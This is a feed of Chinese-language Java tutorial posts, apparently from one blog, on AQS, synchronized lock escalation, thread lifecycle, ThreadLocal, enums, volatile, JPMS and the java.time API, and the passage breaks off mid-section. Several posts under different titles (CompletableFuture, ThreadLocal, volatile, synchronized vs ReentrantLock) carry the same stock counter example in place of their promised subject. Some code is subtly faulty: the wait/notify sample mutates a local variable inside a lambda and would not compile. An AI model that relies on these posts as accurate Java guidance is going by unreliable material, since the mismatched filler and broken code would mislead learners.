核心要点

  1. AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待

  2. 独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore

  3. tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理

  4. ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知

总结

理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。

]]> Java并发 JAVA 并发 synchronized底层原理与锁升级 //synchronized-di-ceng-yuan-li-yu-suo-sheng-ji/ synchronized底层原理与锁升级

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

synchronized 的三种用法

// 1. 同步实例方法（锁当前对象）
public synchronized void method() { }

// 2. 同步静态方法（锁Class对象）
public static synchronized void staticMethod() { }

// 3. 同步代码块（锁指定对象）
public void block() {
    synchronized (this) { }
    synchronized (Object.class) { }
}

对象头与 Mark Word

在 HotSpot 虚拟机中，对象在内存中的布局分为三部分：

  1. 对象头（Header）：Mark Word + 类型指针
  2. 实例数据（Instance Data）
  3. 对齐填充（Padding）

#

Mark Word 结构（64位 JVM）

| 锁状态   | 61bit                        | 2bit | 1bit（偏向锁位）|
|----------|------------------------------|------|----------------|
| 无锁     | hashcode(31) + 分代年龄(4) + 0 | 01   | 0              |
| 偏向锁   | 线程ID(54) + 分代年龄(4) + 1   | 01   | 1              |
| 轻量级锁 | 指向栈中锁记录的指针            | 00   | -              |
| 重量级锁 | 指向互斥量（Monitor）的指针     | 10   | -              |
| GC标记   | 空                            | 11   | -              |

synchronized 的字节码

public synchronized void method();
// 字节码：flags: ACC_PUBLIC, ACC_SYNCHRONIZED

public void block();
// 字节码：monitorenter + monitorexit

同步代码块通过 monitorenter 和 monitorexit 指令实现：

code:
   0: aload_1
   1: dup
   2: astore_2
   3: monitorenter        // 获取锁
   4: ...                 // 同步代码
  14: aload_2
  15: monitorexit         // 释放锁（正常退出）
  16: goto 24
  19: astore_3            // 异常处理
  20: aload_2
  21: monitorexit         // 释放锁（异常退出）
  22: aload_3
  23: athrow

注意：编译器会生成两个 monitorexit，确保异常时也能释放锁。

Monitor（管程）

每个 Java 对象关联一个 Monitor，由 ObjectMonitor 实现：

ObjectMonitor() {
    _header       = NULL;
    _count        = 0;    // 重入次数
    _waiters      = 0;
    _recursions   = 0;    // 锁重入次数
    _object       = NULL;
    _owner        = NULL; // 持有锁的线程
    _WaitSet      = NULL; // 调用wait的线程队列
    _EntryList    = NULL; // 等待获取锁的线程队列
}

锁升级过程

JDK 6 引入锁升级优化，减少重量级锁的开销：

#

1. 无锁（New）

对象刚创建，没有线程访问。

#

2. 偏向锁（Biased Locking）

场景：只有一个线程访问同步块。

// 开启偏向锁（默认开启）
-XX:+UseBiasedLocking
// 延迟开启（默认4秒）
-XX:BiasedLockingStartupDelay=0

原理：第一次获取锁时，将线程 ID 写入 Mark Word。后续该线程进入同步块，只需检查线程 ID 是否一致，无需 CAS 操作。

无锁（001） -> 偏向锁（101，记录线程ID）

#

3. 轻量级锁（Lightweight Locking）

场景：多个线程交替访问（无竞争）。

原理：线程在栈帧中创建 Lock Record，用 CAS 将对象头的 Mark Word 替换为指向 Lock Record 的指针。

偏向锁 -> 撤销偏向 -> 轻量级锁（00）

#

4. 重量级锁（Heavyweight Locking）

场景：多个线程同时竞争。

原理：线程阻塞，进入 EntryList 等待，由操作系统调度。

轻量级锁 -> CAS失败 -> 自旋 -> 失败 -> 重量级锁（10）

锁升级流程图

对象创建
    |
    v
无锁（001）
    |
    | 第一个线程获取锁
    v
偏向锁（101，记录线程ID）
    |
    |-- 同一线程再次进入：检查线程ID，直接通过
    |
    |-- 其他线程尝试获取：撤销偏向锁
        |
        v
轻量级锁（00，CAS替换Mark Word）
    |
    |-- 获取成功：持有锁执行
    |
    |-- CAS失败：自旋等待
        |
        |-- 自旋成功：获取轻量级锁
        |
        |-- 自旋失败（默认10次）：膨胀为重量级锁
            |
            v
重量级锁（10，Monitor，线程阻塞）

锁优化参数

# 关闭偏向锁
-XX:-UseBiasedLocking

# 设置自旋次数
-XX:PreBlockSpin=10

# 自适应自旋（JDK 6+ 默认开启）
-XX:+UseSpinning

锁消除与锁粗化

#

锁消除（Lock Elimination）

JIT 编译器发现不可能存在竞争时，消除锁：

public void method() {
    Object lock = new Object();
    synchronized (lock) {  // 局部变量，不可能共享，锁被消除
        // ...
    }
}

开启逃逸分析后自动优化：

-XX:+DoEscapeAnalysis  // 默认开启

#

锁粗化（Lock Coarsening）

将相邻的同步代码块合并：

// 优化前
for (int i = 0; i < 100; i++) {
    synchronized (lock) {
        // ...
    }
}

// 优化后
synchronized (lock) {
    for (int i = 0; i < 100; i++) {
        // ...
    }
}

实际建议

  1. 不要手动关闭偏向锁：除非明确知道有大量竞争
  2. 减少锁的持有时间：只在必要时同步
  3. 减小锁的粒度：使用细粒度锁或分段锁
  4. 避免在锁中调用外部方法：防止死锁和性能问题
// 好的做法：减小锁粒度
public class Counter {
    private final Object lock = new Object();
    private long count;
    
    public void increment() {
        synchronized (lock) {
            count++;
        }  // 尽快释放锁
    }
}

总结

锁类型优点缺点适用场景
偏向锁无竞争时零开销撤销有开销单线程访问
轻量级锁低竞争时性能好自旋消耗CPU交替访问
重量级锁竞争激烈时稳定线程阻塞开销高竞争

理解锁升级机制，有助于分析并发性能问题和调优 JVM 参数。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 Java 并发 CompletableFuture 编排异步任务 //completablefuture-bian-pai-yi-bu-ren-wu/ CompletableFuture 编排异步任务

CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 线程的创建方式与生命周期 //xian-cheng-de-chuang-jian-fang-shi-yu-sheng-ming-zhou-qi/ 线程的创建方式与生命周期

线程是 Java 并发编程的基础单元。本文系统讲解线程的创建、状态和生命周期管理。

线程的三种创建方式

1. 继承 Thread 类

public class MyThread extends Thread {
    @Override
    public void run() {
        System.out.println("线程执行: " + Thread.currentThread().getName());
    }
}

// 使用
MyThread thread = new MyThread();
thread.start();

缺点：Java 单继承限制，无法继承其他类。

2. 实现 Runnable 接口

public class MyRunnable implements Runnable {
    @Override
    public void run() {
        System.out.println("线程执行: " + Thread.currentThread().getName());
    }
}

// 使用
Thread thread = new Thread(new MyRunnable());
thread.start();

// Lambda 简化
Thread thread2 = new Thread(() -> System.out.println("线程执行"));
thread2.start();

优点：解耦任务和线程，更灵活。

3. 实现 Callable 接口

public class MyCallable implements Callable<String> {
    @Override
    public String call() throws Exception {
        Thread.sleep(1000);
        return "任务完成";
    }
}

// 使用
FutureTask<String> futureTask = new FutureTask<>(new MyCallable());
new Thread(futureTask).start();

String result = futureTask.get();  // 阻塞等待结果
System.out.println(result);

特点：可以返回值，可以抛出异常。

三种方式对比

方式返回值异常灵活性
Thread无内部处理低
Runnable无内部处理高
Callable有可抛出高

线程的六种状态

public enum State {
    NEW,        // 新建
    RUNNABLE,   // 可运行
    BLOCKED,    // 阻塞
    WAITING,    // 等待
    TIMED_WAITING,  // 限时等待
    TERMINATED  // 终止
}

状态转换图

NEW -> start() -> RUNNABLE <-> 获取锁失败 -> BLOCKED -> 获取锁 -> RUNNABLE
                      |
                      |-> wait() -> WAITING -> notify()/notifyAll() -> RUNNABLE
                      |
                      |-> sleep(time)/wait(time)/join(time) -> TIMED_WAITING -> 时间到 -> RUNNABLE
                      |
                      |-> 执行完毕/异常 -> TERMINATED

各状态详解

NEW（新建）

Thread t = new Thread(() -> {});
System.out.println(t.getState());  // NEW

线程被创建，未调用 start()。

RUNNABLE（可运行）

Thread t = new Thread(() -> {
    while (true) {}  // 占用CPU
});
t.start();
System.out.println(t.getState());  // RUNNABLE

包含操作系统层面的 Running 和 Ready 状态。

BLOCKED（阻塞）

Object lock = new Object();

Thread t1 = new Thread(() -> {
    synchronized (lock) {
        try { Thread.sleep(10000); } catch (InterruptedException e) {}
    }
});

Thread t2 = new Thread(() -> {
    synchronized (lock) {  // 阻塞等待t1释放锁
    }
});

t1.start();
t2.start();
Thread.sleep(100);
System.out.println(t2.getState());  // BLOCKED

等待获取监视器锁（synchronized）。

WAITING（等待）

Object lock = new Object();

Thread t = new Thread(() -> {
    synchronized (lock) {
        try {
            lock.wait();  // 释放锁，进入WAITING
        } catch (InterruptedException e) {}
    }
});

t.start();
Thread.sleep(100);
System.out.println(t.getState());  // WAITING

无限期等待，需要被唤醒：

  • Object.wait()
  • Thread.join()
  • LockSupport.park()

TIMED_WAITING（限时等待）

Thread t = new Thread(() -> {
    try {
        Thread.sleep(10000);
    } catch (InterruptedException e) {}
});

t.start();
Thread.sleep(100);
System.out.println(t.getState());  // TIMED_WAITING

限时等待，时间到自动恢复：

  • Thread.sleep(long)
  • Object.wait(long)
  • Thread.join(long)
  • LockSupport.parkNanos(long)
  • LockSupport.parkUntil(long)

TERMINATED（终止）

Thread t = new Thread(() -> {});
t.start();
t.join();
System.out.println(t.getState());  // TERMINATED

线程执行完毕或异常退出。

线程基本操作

启动与中断

Thread t = new Thread(() -> {
    while (!Thread.currentThread().isInterrupted()) {
        // 执行任务
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            // 收到中断信号，退出循环
            Thread.currentThread().interrupt();  // 重新设置中断标志
            break;
        }
    }
});

t.start();
// ...
t.interrupt();  // 请求中断线程

等待与通知

Object lock = new Object();
boolean flag = false;

// 等待线程
Thread waiter = new Thread(() -> {
    synchronized (lock) {
        while (!flag) {  // 防止虚假唤醒
            try {
                lock.wait();
            } catch (InterruptedException e) {}
        }
        System.out.println("条件满足，继续执行");
    }
});

// 通知线程
Thread notifier = new Thread(() -> {
    synchronized (lock) {
        flag = true;
        lock.notifyAll();  // 唤醒所有等待线程
    }
});

守护线程

Thread daemon = new Thread(() -> {
    while (true) {
        System.out.println("守护线程运行中...");
        try { Thread.sleep(1000); } catch (InterruptedException e) {}
    }
});
daemon.setDaemon(true);  // 设置为守护线程
daemon.start();

// 主线程结束，守护线程自动终止

特点：

  • 后台服务线程（如垃圾回收线程）
  • 所有非守护线程结束后，JVM 自动退出
  • 守护线程不能持有需要关闭的资源

线程优先级

Thread t = new Thread(() -> {});
t.setPriority(Thread.MAX_PRIORITY);  // 10
// Thread.NORM_PRIORITY = 5
// Thread.MIN_PRIORITY = 1

注意：优先级只是提示，具体调度取决于操作系统，不可靠。

最佳实践

  1. 优先使用 Runnable/Callable：解耦任务和线程
  2. 正确响应中断：不要忽略 InterruptedException
  3. 使用线程池：不要直接创建 Thread
  4. 避免使用 stop/suspend/resume：已废弃，不安全
  5. 守护线程不持有资源：防止资源泄漏
// 好的做法：使用线程池
ExecutorService executor = Executors.newFixedThreadPool(10);
Future<String> future = executor.submit(() -> {
    return "任务结果";
});
String result = future.get();
executor.shutdown();

总结

理解线程的生命周期和状态转换是并发编程的基础。在实际开发中，应尽量使用线程池和并发工具类，避免直接操作 Thread 对象。

]]> Java并发 Java 并发 ThreadLocal 的使用和内存泄漏问题 //threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/ ThreadLocal 的使用和内存泄漏问题

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 JAVA 并发 枚举类型的设计哲学与用法 //mei-ju-lei-xing-de-she-ji-zhe-xue-yu-yong-fa/ 枚举类型的设计哲学与用法

Java 枚举（enum）不仅是常量集合，更是功能完整的类。本文从设计哲学到高级用法，全面解析枚举类型。

枚举的本质

编译后的枚举是一个继承 java.lang.Enum 的 final 类：

// 源代码
public enum Status {
    ACTIVE, INACTIVE, DELETED;
}

// 编译后（等价形式）
public final class Status extends Enum<Status> {
    public static final Status ACTIVE = new Status("ACTIVE", 0);
    public static final Status INACTIVE = new Status("INACTIVE", 1);
    public static final Status DELETED = new Status("DELETED", 2);
    
    private Status(String name, int ordinal) {
        super(name, ordinal);
    }
}

基础用法

带属性和方法的枚举

public enum Status {
    ACTIVE(1, "活跃"),
    INACTIVE(0, "未激活"),
    DELETED(-1, "已删除");
    
    private final int code;
    private final String desc;
    
    Status(int code, String desc) {
        this.code = code;
        this.desc = desc;
    }
    
    public int getCode() { return code; }
    public String getDesc() { return desc; }
    
    // 根据code查找枚举
    public static Status fromCode(int code) {
        for (Status s : values()) {
            if (s.code == code) return s;
        }
        throw new IllegalArgumentException("无效的状态码: " + code);
    }
}

枚举常用方法

Status s = Status.ACTIVE;

// 基本方法
String name = s.name();           // "ACTIVE"
int ordinal = s.ordinal();        // 0

// 类方法
Status[] all = Status.values();   // 所有枚举值
Status parsed = Status.valueOf("ACTIVE");  // 从字符串解析

// 比较
boolean isActive = s == Status.ACTIVE;  // 可以用==比较

枚举实现单例模式

枚举是实现单例的最佳方式：

public enum Singleton {
    INSTANCE;
    
    private String config;
    
    public void doSomething() {
        System.out.println("Doing something...");
    }
    
    public String getConfig() {
        return config;
    }
    
    public void setConfig(String config) {
        this.config = config;
    }
}

// 使用
Singleton.INSTANCE.doSomething();

优势：

  • 线程安全（由 JVM 保证）
  • 防止反射攻击
  • 防止反序列化创建新实例

策略枚举模式

用枚举实现策略模式：

public enum Calculator {
    ADD {
        @Override
        public double apply(double a, double b) {
            return a + b;
        }
    },
    SUBTRACT {
        @Override
        public double apply(double a, double b) {
            return a - b;
        }
    },
    MULTIPLY {
        @Override
        public double apply(double a, double b) {
            return a * b;
        }
    },
    DIVIDE {
        @Override
        public double apply(double a, double b) {
            if (b == 0) throw new ArithmeticException("除数不能为0");
            return a / b;
        }
    };
    
    public abstract double apply(double a, double b);
}

// 使用
double result = Calculator.ADD.apply(10, 5);  // 15.0

状态机实现

public enum OrderState {
    CREATED {
        @Override
        public boolean canTransitionTo(OrderState newState) {
            return newState == PAID || newState == CANCELLED;
        }
    },
    PAID {
        @Override
        public boolean canTransitionTo(OrderState newState) {
            return newState == SHIPPED || newState == REFUNDING;
        }
    },
    SHIPPED {
        @Override
        public boolean canTransitionTo(OrderState newState) {
            return newState == COMPLETED || newState == REFUNDING;
        }
    },
    COMPLETED {
        @Override
        public boolean canTransitionTo(OrderState newState) {
            return newState == REFUNDING;
        }
    },
    CANCELLED,
    REFUNDING,
    REFUNDED;
    
    public boolean canTransitionTo(OrderState newState) {
        return false;  // 默认不允许转换
    }
}

// 状态转换检查
public void transition(OrderState from, OrderState to) {
    if (!from.canTransitionTo(to)) {
        throw new IllegalStateException(
            "不能从 " + from + " 转换到 " + to);
    }
    // 执行转换
}

接口实现

枚举可以实现接口：

public interface Operation {
    double apply(double a, double b);
}

public enum BasicOperation implements Operation {
    PLUS("+") {
        public double apply(double a, double b) { return a + b; }
    },
    MINUS("-") {
        public double apply(double a, double b) { return a - b; }
    };
    
    private final String symbol;
    
    BasicOperation(String symbol) {
        this.symbol = symbol;
    }
    
    @Override
    public String toString() {
        return symbol;
    }
}

实际业务场景

支付渠道枚举

public enum PaymentChannel {
    ALIPAY("支付宝", "https://alipay.com/gateway"),
    WECHAT("微信支付", "https://api.mch.weixin.qq.com"),
    UNIONPAY("银联", "https://gateway.95516.com");
    
    private final String name;
    private final String gatewayUrl;
    
    PaymentChannel(String name, String gatewayUrl) {
        this.name = name;
        this.gatewayUrl = gatewayUrl;
    }
    
    // getter...
}

与数据库映射

// JPA 转换器
@Converter(autoApply = true)
public class StatusConverter implements AttributeConverter<Status, Integer> {
    @Override
    public Integer convertToDatabaseColumn(Status status) {
        return status != null ? status.getCode() : null;
    }
    
    @Override
    public Status convertToEntityAttribute(Integer code) {
        return code != null ? Status.fromCode(code) : null;
    }
}

最佳实践

  1. 枚举名使用大写：这是 Java 的命名约定
  2. 不要依赖 ordinal()：新增枚举值可能导致顺序变化
  3. 为枚举添加 fromXxx 工厂方法：便于从数据库/前端转换
  4. 慎用复杂枚举：如果枚举逻辑过于复杂，考虑使用策略类
  5. 序列化安全：枚举天然支持序列化，且保证单例
// 好的做法：显式定义code，不依赖ordinal
public enum Priority {
    LOW(1),
    MEDIUM(2),
    HIGH(3),
    URGENT(4);
    
    private final int code;
    Priority(int code) { this.code = code; }
    public int getCode() { return code; }
}

总结

枚举是 Java 中强大的类型安全常量机制，它：

  • 保证单例性（线程安全、反射安全、序列化安全）
  • 支持属性和方法，功能不亚于普通类
  • 是实现状态机和策略模式的优雅方案
  • 在业务建模中应优先考虑使用

善用枚举可以让代码更加类型安全、可读性更强。

]]> Java基础 学习笔记 Java volatile 能保证什么不能保证什么 //volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/ volatile 能保证什么不能保证什么

volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. volatile 保证可见性：一个线程的修改对其他线程立即可见

  2. volatile 禁止指令重排：确保指令按照代码顺序执行

  3. volatile 不保证原子性：复合操作仍然需要同步

  4. volatile 适合作为状态标志，不适合作为计数器

总结

volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。

]]> Java并发 JAVA 并发 Java模块化系统JPMS入门 //java-mo-kuai-hua-xi-tong-jpms-ru-men/ Java模块化系统JPMS入门

Java 9 引入了 Java Platform Module System（JPMS），这是 Java 语言发展史上的重大变革。本文介绍模块化的核心概念和基本用法。

为什么需要模块化

  1. 更小的运行时：只打包需要的模块，构建精简 JRE
  2. 强封装性：明确控制哪些包可以对外暴露
  3. 可靠的配置：编译期检查模块依赖
  4. 改进安全性：内部实现细节不再暴露

模块基础

module-info.java

每个模块根目录下需要声明模块描述符：

module com.example.app {
    // 依赖其他模块
    requires java.base;        // 默认隐式依赖
    requires java.sql;
    requires com.example.lib;
    
    // 导出包（其他模块可访问）
    exports com.example.app.api;
    
    // 开放包（允许反射访问）
    opens com.example.app.entity;
    
    // 提供服务实现
    provides com.example.spi.Logger 
        with com.example.app.FileLogger;
    
    // 消费服务
    uses com.example.spi.Logger;
}

核心指令

指令说明
requires声明依赖模块
requires transitive传递依赖
exports导出包
exports to定向导出
opens开放包（反射）
opens to定向开放
provides with提供服务实现
uses消费服务

模块依赖示例

库模块

// com.example.lib/module-info.java
module com.example.lib {
    exports com.example.lib.api;      // 对外暴露API
    exports com.example.lib.dto;
    
    opens com.example.lib.entity;     // 允许反射（JPA等框架需要）
    
    requires static java.compiler;    // 可选依赖（编译期需要，运行期可选）
}

应用模块

// com.example.app/module-info.java
module com.example.app {
    requires com.example.lib;
    requires java.logging;
    
    exports com.example.app.controller;
    
    opens com.example.app to spring.core;  // 对Spring开放
}

编译与运行

编译模块

# 编译库模块
javac -d out/lib $(find lib -name "*.java")

# 编译应用模块，指定模块路径
javac --module-path out/lib -d out/app $(find app -name "*.java")

运行模块

# 运行主模块
java --module-path out/lib:out/app -m com.example.app/com.example.app.Main

# 查看模块列表
java --list-modules

# 查看模块详情
java --describe-module java.base

打包 JMOD

# 创建模块化的JAR
jar --create --file out/app.jar --main-class com.example.app.Main -C out/app .

# 创建JMOD（用于jlink）
jmod create --class-path out/app out/app.jmod

自定义运行时镜像

使用 jlink 创建精简的 JRE：

jlink --module-path $JAVA_HOME/jmods:out/app \
      --add-modules com.example.app \
      --launcher app=com.example.app/com.example.app.Main \
      --output myapp-runtime

# 运行自定义运行时
./myapp-runtime/bin/app

效果：运行时镜像仅包含必要的模块，体积可从 200MB+ 减少到 50MB 以下。

未命名模块与自动模块

未命名模块（Unnamed Module）

类路径（classpath）上的所有类都属于未命名模块：

  • 可以读取所有模块
  • 所有模块可以读取它
  • 用于兼容性过渡

自动模块（Automatic Module）

将普通 JAR 放在模块路径上，自动成为模块：

  • 模块名从 JAR 文件名或 Automatic-Module-Name 属性推断
  • 导出所有包
  • 依赖所有模块
java --module-path libs:out/app --class-path legacy-lib.jar -m com.example.app

迁移策略

自下而上迁移

  1. 从最底层的库开始模块化
  2. 逐步向上迁移依赖项目
  3. 顶层应用最后迁移

关键步骤

# 1. 使用jdeps分析依赖
jdeps --recursive --class-path libs app.jar

# 2. 生成模块描述符建议
jdeps --generate-module-info out app.jar

# 3. 解决循环依赖
# 通过重构代码或使用服务加载器(ServiceLoader)打破循环

与现有框架集成

Spring Boot

Spring 5+ 支持 JPMS：

module com.example.demo {
    requires spring.web;
    requires spring.boot;
    requires spring.boot.autoconfigure;
    
    opens com.example.demo to spring.core, spring.beans, spring.context;
}

注意事项

  1. 反射访问需要 opens：Hibernate、Jackson 等框架需要反射，需要开放相应包
  2. 资源加载方式变化：使用 Module.getResourceAsStream()
  3. SPI 变化：推荐使用 provides/uses 替代 META-INF/services

总结

场景建议
新建项目直接使用模块化
类库开发添加 module-info.java，支持模块化用户
遗留项目先保证在模块路径上可用（自动模块）
云原生部署使用 jlink 构建精简运行时

模块化是 Java 平台现代化的重要一步，虽然迁移有成本，但长期收益显著：更小的部署包、更清晰的依赖关系、更好的封装性。

]]> Java基础 学习笔记 Java synchronized 和 ReentrantLock 怎么选 //synchronized-he-reentrantlock-zen-me-xuan/ synchronized 和 ReentrantLock 怎么选

synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

核心要点

  1. synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象

  2. 锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁

  3. 锁消除和锁粗化是 JVM 的优化手段

  4. synchronized 保证原子性、可见性和有序性

总结

synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。

]]> Java并发 JAVA 并发 Java 8时间日期API完全指南 //java-8-shi-jian-ri-qi-api-wan-quan-zhi-nan/ Java 8时间日期API完全指南

Java 8 引入了全新的时间日期 API（java.time 包），彻底解决了旧 Date/Calendar 的设计缺陷。本文全面讲解新 API 的使用方法。

旧 API 的问题

  1. 设计糟糕：Date 既表示日期又表示时间，月份从 0 开始
  2. 线程不安全：SimpleDateFormat 并发使用会出问题
  3. 时区处理复杂：TimeZone 设计混乱
  4. 不可变性缺失：Date 对象可修改

核心类概览

类说明
LocalDate日期（年-月-日）
LocalTime时间（时:分:秒）
LocalDateTime日期+时间
ZonedDateTime带时区的日期时间
Instant时间戳（秒/纳秒）
Duration时间间隔（秒/纳秒）
Period日期间隔（年/月/日）
DateTimeFormatter格式化

LocalDate 日期操作

// 获取当前日期
LocalDate today = LocalDate.now();

// 创建指定日期
LocalDate date = LocalDate.of(2024, 5, 12);

// 解析字符串
LocalDate parsed = LocalDate.parse("2024-05-12");

// 获取属性
int year = date.getYear();
Month month = date.getMonth();  // MAY
int day = date.getDayOfMonth();
DayOfWeek week = date.getDayOfWeek();  // SUNDAY

// 日期计算
LocalDate tomorrow = date.plusDays(1);
LocalDate lastMonth = date.minusMonths(1);
LocalDate nextYear = date.plusYears(1);

// 调整日期
LocalDate firstDay = date.withDayOfMonth(1);
LocalDate lastDay = date.with(TemporalAdjusters.lastDayOfMonth());
LocalDate nextMonday = date.with(TemporalAdjusters.next(DayOfWeek.MONDAY));

LocalTime 时间操作

LocalTime now = LocalTime.now();
LocalTime time = LocalTime.of(14, 30, 0);

// 比较
boolean isBefore = now.isBefore(LocalTime.NOON);

// 截断
LocalTime truncated = now.truncatedTo(ChronoUnit.MINUTES);  // 去掉秒

LocalDateTime 日期时间

LocalDateTime now = LocalDateTime.now();
LocalDateTime dateTime = LocalDateTime.of(2024, 5, 12, 14, 30);

// 与LocalDate、LocalTime互转
LocalDate date = now.toLocalDate();
LocalTime time = now.toLocalTime();
LocalDateTime combined = date.atTime(time);

ZonedDateTime 时区处理

// 系统默认时区
ZonedDateTime now = ZonedDateTime.now();

// 指定时区
ZonedDateTime ny = ZonedDateTime.now(ZoneId.of("America/New_York"));
ZonedDateTime tokyo = ZonedDateTime.now(ZoneId.of("Asia/Tokyo"));

// 时区转换
ZonedDateTime converted = ny.withZoneSameInstant(ZoneId.of("Asia/Shanghai"));

// 可用时区列表
Set<String> zones = ZoneId.getAvailableZoneIds();

Instant 时间戳

// 当前时间戳
Instant now = Instant.now();

// 从纪元开始计算
Instant instant = Instant.ofEpochMilli(System.currentTimeMillis());

// 获取秒和纳秒
long seconds = now.getEpochSecond();
int nanos = now.getNano();

// 与Date互转
Date date = Date.from(instant);
Instant instant2 = date.toInstant();

Duration 和 Period

// Duration：时间间隔（时分秒）
LocalTime start = LocalTime.of(9, 0);
LocalTime end = LocalTime.of(17, 30);
Duration duration = Duration.between(start, end);
long hours = duration.toHours();  // 8
long minutes = duration.toMinutes();  // 510

// Period：日期间隔（年月日）
LocalDate startDate = LocalDate.of(2024, 1, 1);
LocalDate endDate = LocalDate.of(2024, 5, 12);
Period period = Period.between(startDate, endDate);
int months = period.getMonths();  // 4
int days = period.getDays();  // 11

DateTimeFormatter 格式化

// 预定义格式
DateTimeFormatter iso = DateTimeFormatter.ISO_LOCAL_DATE_TIME;

// 自定义格式
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy年MM月dd日 HH:mm:ss");
String formatted = LocalDateTime.now().format(formatter);
// 结果: 2024年05月12日 14:30:00

// 解析
LocalDateTime parsed = LocalDateTime.parse("2024-05-12 14:30:00", 
    DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));

与旧 API 互转

// Date -> LocalDateTime
Date date = new Date();
LocalDateTime dateTime = date.toInstant()
    .atZone(ZoneId.systemDefault())
    .toLocalDateTime();

// LocalDateTime -> Date
Date newDate = Date.from(dateTime.atZone(ZoneId.systemDefault()).toInstant());

// Calendar -> ZonedDateTime
